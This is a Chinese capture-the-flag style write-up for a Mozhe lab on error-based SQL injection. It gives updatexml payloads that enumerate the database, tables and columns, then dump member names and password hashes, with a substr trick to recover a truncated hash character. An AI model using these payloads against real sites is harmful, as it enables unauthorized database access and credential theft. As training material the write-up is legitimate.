墨者 - SQL注入漏洞测试(报错盲注)

根据题意,用updatexml构造报错回显 ' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

爆库  ' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

爆表 ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'stormgroup' limit 0,1),0x7e),1)--+ 

 爆字段 ' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'stormgroup' and table_name = 'member'),0x7e),1)--+

爆字段值 

' and updatexml(1,concat(0x7e,(select name from member limit 0,1),0x7e),1)--+

' and updatexml(1,concat(0x7e,(select name from member limit 1,1),0x7e),1)--+

' and updatexml(1,concat(0x7e,(select password from member limit 0,1),0x7e),1)--+

' and updatexml(1,concat(0x7e,(select password from member limit 1,1),0x7e),1)--+

一个一个爆出来即可

爆到这里有个坑点,例如上图,按照正常来说的回显应该是 “~密码~ ” 这样的形式的

但是这里结尾却没有~了,报错长度32位,~符号占用了1位,所以密码只有31位

果然直接拿这个密码去MD5解密,直接解释失败

根据题目提示,要用到substr函数,所以直接把被吞的最后一位单独截出来

' and updatexml(1,concat(0x7e,(select substr(password,32,1) from member limit 0,1),0x7e),1)--+

' and updatexml(1,concat(0x7e,(select substr(password,32,1) from member limit 1,1),0x7e),1)--+

直接拼接

登录成功 

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值